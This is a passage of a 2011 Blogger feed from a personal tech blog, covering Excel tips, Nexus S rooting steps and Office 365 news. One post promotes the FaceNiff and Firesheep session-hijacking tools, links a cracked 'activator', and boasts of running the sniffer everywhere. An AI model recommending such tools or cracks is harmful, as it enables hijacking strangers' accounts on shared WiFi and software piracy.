rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-1Bb6ZVelUsI/ThPWlVDhYyI/AAAAAAAAIzk/FmTeARqTO5Y/s72-c/fb-like-1.png' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-6567031142042969629</id><published>2011-07-05T12:23:00.000+08:00</published><updated>2011-07-06T12:23:40.719+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Android'/><title type='text'>FaceNiff and Activator</title><content type='html'>Heard about &lt;a href="http://faceniff.ponury.net/"&gt;FaceNiff&lt;/a&gt;? How about &lt;a href="http://codebutler.com/firesheep"&gt;Firesheep&lt;/a&gt;?&lt;br /&gt;&lt;br /&gt;Firesheep is so hot since last year. It is an add-on to the Firefox browser which can hijack any non-SSL Facebook session (and others like Gmail, etc). It is still cool today!&lt;br /&gt;&lt;br /&gt;FaceNiff takes it to the next level, by doing the same thing as Firesheep, and run on rooted Android phone.&lt;br /&gt;&lt;blockquote&gt;&lt;i&gt;FaceNiff is an Android app that allows you to sniff and intercept web session profiles over the WiFi that your mobile is connected to.&lt;br /&gt;It is possible to hijack sessions only when WiFi is not using EAP, but it should work over any private networks (Open/WEP/WPA-PSK/WPA2-PSK)&lt;br /&gt;It's kind of like Firesheep for android. Maybe a bit easier to use (and it works on WPA2!).&lt;/i&gt;&lt;/blockquote&gt;&lt;div&gt;Now, the apk you download from &lt;a href="http://faceniff.ponury.net/"&gt;FaceNiff&lt;/a&gt; is limited to 3 hijacked profiles. But there is a way to unlock the application. You need a FaceNiff Activator. Just follow the instruction from the article on&amp;nbsp;&lt;a href="http://fcnactive.blogspot.com/2011/06/activate-faceniff.html"&gt;http://fcnactive.blogspot.com/2011/06/activate-faceniff.html&lt;/a&gt;&amp;nbsp;and download the SOneActivator.apk.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;As far as I understand, the reason why FaceNiff works on WPA2 network is because it does ARP poisoning to the WiFi network.&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;Now, I have my FaceNiff running with me everywhere I go!&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-6567031142042969629?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/6567031142042969629'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/6567031142042969629'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2011/07/faceniff-and-activator.html' title='FaceNiff and Activator'/><author><name>Jet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-8385710151026145480</id><published>2011-07-04T12:06:00.001+08:00</published><updated>2011-07-06T12:07:24.766+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Android'/><category scheme='http://www.blogger.com/atom/ns#' term='Nexus S'/><title type='text'>Root Nexus S Android 2.3.3 Gingerbread using SuperBoot</title><content type='html'>Just found another article on how to root Nexus S Android 2.3.3 Gingerbread using SuperBoot.&lt;br /&gt;&lt;br /&gt;This is a much simple way to root your Nexus S. Just want to share here.&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.technobolt.com/2011/02/28/how-to-root-nexus-s-android-2-3-3-gingerbread-using-superboot/"&gt;http://www.technobolt.com/2011/02/28/how-to-root-nexus-s-android-2-3-3-gingerbread-using-superboot/&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-8385710151026145480?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/8385710151026145480'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/8385710151026145480'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2011/07/root-nexus-s-android-233-gingerbread.html' title='Root Nexus S Android 2.3.3 Gingerbread using SuperBoot'/><author><name>Jet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-7084679110136373779</id><published>2011-07-03T12:00:00.002+08:00</published><updated>2011-07-06T12:02:59.272+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Android'/><category scheme='http://www.blogger.com/atom/ns#' term='Nexus S'/><title type='text'>Rooting Nexus S on Android 2.3.3 Gingerbread</title><content type='html'>After I unlock my Nexus S, I need to start rooting it in order to get full permission to the filesystem.&lt;br /&gt;&lt;br /&gt;Here's the steps that I followed:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Reboot Nexus S into bootloader mode. To do so, use the following command at terminal or press the Volume Up + Power key simultaneously.&lt;/li&gt;&lt;/ul&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;adb reboot bootloader&lt;/span&gt;&lt;/blockquote&gt;&lt;ul&gt;&lt;li&gt;Unlock the bootloader using the following command:&lt;/li&gt;&lt;/ul&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;fastboot oem unlock&lt;/span&gt;&lt;/blockquote&gt;&lt;ul&gt;&lt;li&gt;Download recovery-clockwork-herring.img from here.&lt;/li&gt;&lt;li&gt;Now install Clockwork recovery image on Nexus S by using the following command:&lt;/li&gt;&lt;/ul&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;fastboot flash recovery recovery-clockwork-herring.img&lt;/span&gt;&lt;/blockquote&gt;&lt;ul&gt;&lt;li&gt;Reboot into recovery mode by using the following command at terminal or choose recovery from fastboot menu&lt;/li&gt;&lt;/ul&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;adb reboot recovery&lt;/span&gt;&lt;/blockquote&gt;&lt;ul&gt;&lt;li&gt;Download Koush's unsecure boot image (rootboot.img) from here and put it in your /sdk/tools/ folder&lt;/li&gt;&lt;li&gt;Now boot into fastboot and use the following command to install the rooted boot image:&lt;/li&gt;&lt;/ul&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;fastboot flash boot rootboot.img&lt;/span&gt;&lt;/blockquote&gt;&lt;ul&gt;&lt;li&gt;Download CHainsDD's Superuser zip (su-2.3.6.1-ef-signed.zip) from &lt;a href="http://bit.ly/su2361ef"&gt;here&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;Open the zip file, place the su binary and Superuser.apk in your sdk/tools/ folder.&lt;/li&gt;&lt;li&gt;Now use the following set of commands at terminal to install Superuser app&lt;/li&gt;&lt;/ul&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;adb remount&lt;br /&gt;adb push su /system/bin/&lt;br /&gt;adb push Superuser.apk /system/app/&lt;br /&gt;adb shell&lt;br /&gt;chmod 6755 /system/bin/su&lt;br /&gt;exit&lt;br /&gt;adb reboot&lt;/span&gt;&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-7084679110136373779?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/7084679110136373779'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/7084679110136373779'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2011/07/rooting-nexus-s-on-android-233.html' title='Rooting Nexus S on Android 2.3.3 Gingerbread'/><author><name>Jet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-555908791766312093</id><published>2011-07-02T11:53:00.001+08:00</published><updated>2011-07-06T11:56:20.052+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Android'/><category scheme='http://www.blogger.com/atom/ns#' term='Nexus S'/><title type='text'>Unlocking Google Nexus S Bootloader</title><content type='html'>I need to get full permission control on my Google phone in order to start research on it. I need to perform 2 things before I start any development: unlocking &amp;amp; rooting Nexus S.&lt;br /&gt;&lt;br /&gt;Unlocking the bootloader will allow me to install custom ROM. And by rooting it, I can gain full access to the filesystem.&lt;br /&gt;&lt;br /&gt;My phone comes with Android 2.3.3 Gingerbread. Here's the steps to unlock it:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Download and install Android 2.3 SDK along with fastboot from &lt;a href="http://developer.android.com/sdk/index.html"&gt;here&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;Turn off your Nexus S completely.&lt;/li&gt;&lt;li&gt;Now hold down the Volume Up + Power key simultaneously.&lt;/li&gt;&lt;li&gt;Now you should be in standard recovery mode.&lt;/li&gt;&lt;li&gt;Open Command Prompt on Windows and type the following command to confirm if your device is connected via USB cable or not.&lt;/li&gt;&lt;/ul&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;fastboot devices&lt;/span&gt;&lt;/blockquote&gt;&lt;ul&gt;&lt;li&gt;If fastboot is showing your device as connected, use the following command to unlock the bootloader of your Nexus S.&lt;/li&gt;&lt;/ul&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;fastboot oem unlock&lt;/span&gt;&lt;/blockquote&gt;&lt;ul&gt;&lt;li&gt;Thats it! Now your Nexus S' bootloader is unlocked and you can easily install custom ROMs on your device.&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-555908791766312093?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/555908791766312093'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/555908791766312093'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2011/07/unlocking-google-nexus-s-bootloader.html' title='Unlocking Google Nexus S Bootloader'/><author><name>Jet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-3855406799031411918</id><published>2011-07-01T11:37:00.000+08:00</published><updated>2011-07-06T11:38:37.855+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='mobile'/><category scheme='http://www.blogger.com/atom/ns#' term='Android'/><category scheme='http://www.blogger.com/atom/ns#' term='Nexus S'/><title type='text'>My Google Nexus S</title><content type='html'>Recently I just get my first Android phone (Nexus S). Thus I can start my research on Android phone from now on.&lt;br /&gt;&lt;br /&gt;Bye Bye, my iPhone 3G!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-3855406799031411918?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/3855406799031411918'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/3855406799031411918'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2011/07/my-google-nexus-s.html' title='My Google Nexus S'/><author><name>Jet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-2716139775664660221</id><published>2011-06-29T10:53:00.000+08:00</published><updated>2011-06-29T10:53:00.706+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Google'/><title type='text'>Dark Bar from Google</title><content type='html'>&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-nidhcbb0Sh0/TgqSgesvFaI/AAAAAAAAIvA/L210rEXLk5I/s1600/Google+Dark+Bar.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="270" src="http://3.bp.blogspot.com/-nidhcbb0Sh0/TgqSgesvFaI/AAAAAAAAIvA/L210rEXLk5I/s400/Google+Dark+Bar.png" width="400" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;See the dark bar on the top?&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-2716139775664660221?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/2716139775664660221'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/2716139775664660221'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2011/06/dark-bar-from-google.html' title='Dark Bar from Google'/><author><name>Jet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-nidhcbb0Sh0/TgqSgesvFaI/AAAAAAAAIvA/L210rEXLk5I/s72-c/Google+Dark+Bar.png' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-368063585415432453</id><published>2011-06-29T10:50:00.000+08:00</published><updated>2011-06-29T10:50:00.597+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='office'/><category scheme='http://www.blogger.com/atom/ns#' term='microsoft'/><title type='text'>Microsoft Office 365</title><content type='html'>&lt;div&gt;Microsoft Office 365 drops its BETA tag today.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;Microsoft published release notes and unveiled tiered pricing plans that start at $6/month per user for small businesses and ranges between $10 and $27/month per user for large enterprises depending on the features needed.&lt;br /&gt;&lt;br /&gt;Office 365 combines Office Web Apps with additional collaboration services for businesses, including Outlook through Exchange Online, document sharing with Sharepoint Online, and corporate instant messaging and presence with Lync Server.&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-368063585415432453?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/368063585415432453'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/368063585415432453'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2011/06/microsoft-office-365.html' title='Microsoft Office 365'/><author><name>Jet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-460777077524035053</id><published>2011-06-28T11:30:00.000+08:00</published><updated>2011-06-29T11:27:40.495+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Excel'/><category scheme='http://www.blogger.com/atom/ns#' term='tips'/><category scheme='http://www.blogger.com/atom/ns#' term='office'/><title type='text'>Enhancing your vlookup function</title><content type='html'>Here's another tip to help enhancing the way how you use your vlookup function by removing the "#N/A" when the unique key isn't available.&lt;br /&gt;&lt;br /&gt;We can remedy this by judicious use of Excel’s IF() and ISBLANK() functions.  We change our formula from this…&lt;br /&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;      =VLOOKUP(A11,’Product Database’!A2:D7,2,FALSE)&lt;/span&gt;&lt;/blockquote&gt;…to this…&lt;br /&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;      =IF(ISBLANK(A11),”",VLOOKUP(A11,’Product Database’!A2:D7,2,FALSE))&lt;/span&gt;&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-460777077524035053?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/460777077524035053'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/460777077524035053'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2011/06/enhancing-your-vlookup-function.html' title='Enhancing your vlookup function'/><author><name>Jet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-752982567230782712</id><published>2011-06-28T11:23:00.000+08:00</published><updated>2011-06-29T11:22:27.754+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Excel'/><category scheme='http://www.blogger.com/atom/ns#' term='tips'/><category scheme='http://www.blogger.com/atom/ns#' term='office'/><title type='text'>Lock the Table_array in vlookup function</title><content type='html'>A lot of time, we use vlookup function to help us to retrieve information from another table and we will like to lock the Table_array range. By default, Excel doesn't fix the range and keep shifting it when you copy and paste the vlookup function.&lt;br /&gt;&lt;br /&gt;Here's the quick fix.&lt;br /&gt;&lt;br /&gt;After you create the 1st vlookup function, it will like this:&lt;br /&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;VLOOKUP(A11,’Product Database’!A2:D7,2,FALSE)&lt;/span&gt;&lt;/blockquote&gt;&lt;div&gt;To lock the table range before you copy and paste the function, add the $ to fix the cell reference, as below:&lt;/div&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;VLOOKUP(A11,’Product Database’!A$2:D$7,2,FALSE)&lt;/span&gt;&lt;/blockquote&gt;&lt;div&gt;This fix the row 2 to row 7. Of course, you can also fix the column A to column D at the same time:&lt;/div&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;VLOOKUP(A11,’Product Database’!$A$2:$D$7,2,FALSE)&lt;/span&gt;&lt;/blockquote&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-752982567230782712?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/752982567230782712'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/752982567230782712'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2011/06/lock-tablearray-in-vlookup-function.html' title='Lock the Table_array in vlookup function'/><author><name>Jet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-1366176739683389096</id><published>2011-06-28T11:12:00.000+08:00</published><updated>2011-06-29T11:22:27.743+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Excel'/><category scheme='http://www.blogger.com/atom/ns#' term='tips'/><category scheme='http://www.blogger.com/atom/ns#' term='office'/><title type='text'>Using VLOOKUP in Excel</title><content type='html'>This is a short description on how to use "vlookup" function in Excel.&lt;br /&gt;&lt;br /&gt;Vlookup function is one of the the most powerful Excel tips that I learn. It works like a database tables, where it can retrieve information from another database table by supplying it an unique&amp;nbsp;identifier. For instance, you can use vlookup function to retrieve the product description (from another sheet) by supplying it the product code.&lt;br /&gt;&lt;br /&gt;From the menu Formulas, Insert functions, search the function called vlookup.&amp;nbsp;You need to supply 3 mandatory parameters and 1 optional parameter:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Lookup_value: [ the unique key]&lt;/li&gt;&lt;li&gt;Table_array: [ the table range ]&lt;/li&gt;&lt;li&gt;Col_index_num: [ the column of the retrieved information in the table range]&lt;/li&gt;&lt;li&gt;Range_lookup (optional): [ sorted or unsorted 1st column in the table range ]&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-1366176739683389096?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/1366176739683389096'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/1366176739683389096'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2011/06/using-vlookup-in-excel.html' title='Using VLOOKUP in Excel'/><author><name>Jet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-5568448658778391018</id><published>2011-06-27T21:36:00.000+08:00</published><updated>2011-06-29T21:36:54.333+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Excel'/><category scheme='http://www.blogger.com/atom/ns#' term='tips'/><category scheme='http://www.blogger.com/atom/ns#' term='office'/><title type='text'>Quickly Remove Blank Row in Excel</title><content type='html'>Here's a handy way to help you to remove any blank row in a long list.&lt;br /&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Remove any blank column manually.&lt;/li&gt;&lt;li&gt;Select the 1st blank cell in the 1st column.&lt;/li&gt;&lt;li&gt;Hit &lt;b&gt;F5&lt;/b&gt; (&lt;b&gt;Edit, Goto&lt;/b&gt;).&lt;/li&gt;&lt;li&gt;Click &lt;b&gt;Special&lt;/b&gt;.&lt;/li&gt;&lt;li&gt;Select the &lt;b&gt;Blank&lt;/b&gt; option and click &lt;b&gt;OK&lt;/b&gt;. This will select all the blank row for you.&lt;/li&gt;&lt;li&gt;Now, choose &lt;b&gt;Edit, Delete&lt;/b&gt;, select the &lt;b&gt;Entire Row&lt;/b&gt; option and click &lt;b&gt;OK&lt;/b&gt;.&lt;/li&gt;&lt;/ol&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-5568448658778391018?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/5568448658778391018'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/5568448658778391018'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2011/06/quickly-remove-blank-row-in-excel.html' title='Quickly Remove Blank Row in Excel'/><author><name>Jet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-319627940654230812</id><published>2011-06-23T17:31:00.000+08:00</published><updated>2011-06-23T17:31:41.022+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Facebook'/><category scheme='http://www.blogger.com/atom/ns#' term='error'/><title type='text'>FB Account Unavailable</title><content type='html'>&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-zS-9iwRzWZo/TgMHU5E7x3I/AAAAAAAAIts/ur7-l6BNLGo/s1600/Log+In+-+Facebook.jpg" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="152" src="http://3.bp.blogspot.com/-zS-9iwRzWZo/TgMHU5E7x3I/AAAAAAAAIts/ur7-l6BNLGo/s400/Log+In+-+Facebook.jpg" width="400" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;Facebook Login: Account Unavailable&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-319627940654230812?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/319627940654230812'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/319627940654230812'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2011/06/fb-account-unavailable.html' title='FB Account Unavailable'/><author><name>Jet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-zS-9iwRzWZo/TgMHU5E7x3I/AAAAAAAAIts/ur7-l6BNLGo/s72-c/Log+In+-+Facebook.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-5752566386733578541</id><published>2011-06-15T16:35:00.006+08:00</published><updated>2011-06-15T16:35:00.447+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Bossa Vino'/><title type='text'>Bossa Vino Next 2 Km</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-kvWf2EfIfMw/TeStaWLc3ZI/AAAAAAAAIqo/7DijrrnX7Do/s1600/BV+roadsign.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="393" src="http://2.bp.blogspot.com/-kvWf2EfIfMw/TeStaWLc3ZI/AAAAAAAAIqo/7DijrrnX7Do/s400/BV+roadsign.png" width="400" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;&lt;a href="http://facebook.com/BossaVino"&gt;Bossa Vino, Next 2Km&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-5752566386733578541?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/5752566386733578541'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/5752566386733578541'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2011/06/bossa-vino-next-2-km.html' title='Bossa Vino Next 2 Km'/><author><name>Jet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-kvWf2EfIfMw/TeStaWLc3ZI/AAAAAAAAIqo/7DijrrnX7Do/s72-c/BV+roadsign.png' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-5815883642270464472</id><published>2011-06-04T17:00:00.000+08:00</published><updated>2011-06-04T17:00:03.814+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Bossa Vino'/><title type='text'>Fun Vs. Time</title><content type='html'>&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-ieDanxFlVhk/Td-43-WIx5I/AAAAAAAAIqU/emThBVv_fts/s1600/Fun+Vs+Time.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="305" src="http://2.bp.blogspot.com/-ieDanxFlVhk/Td-43-WIx5I/AAAAAAAAIqU/emThBVv_fts/s400/Fun+Vs+Time.png" width="400" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" 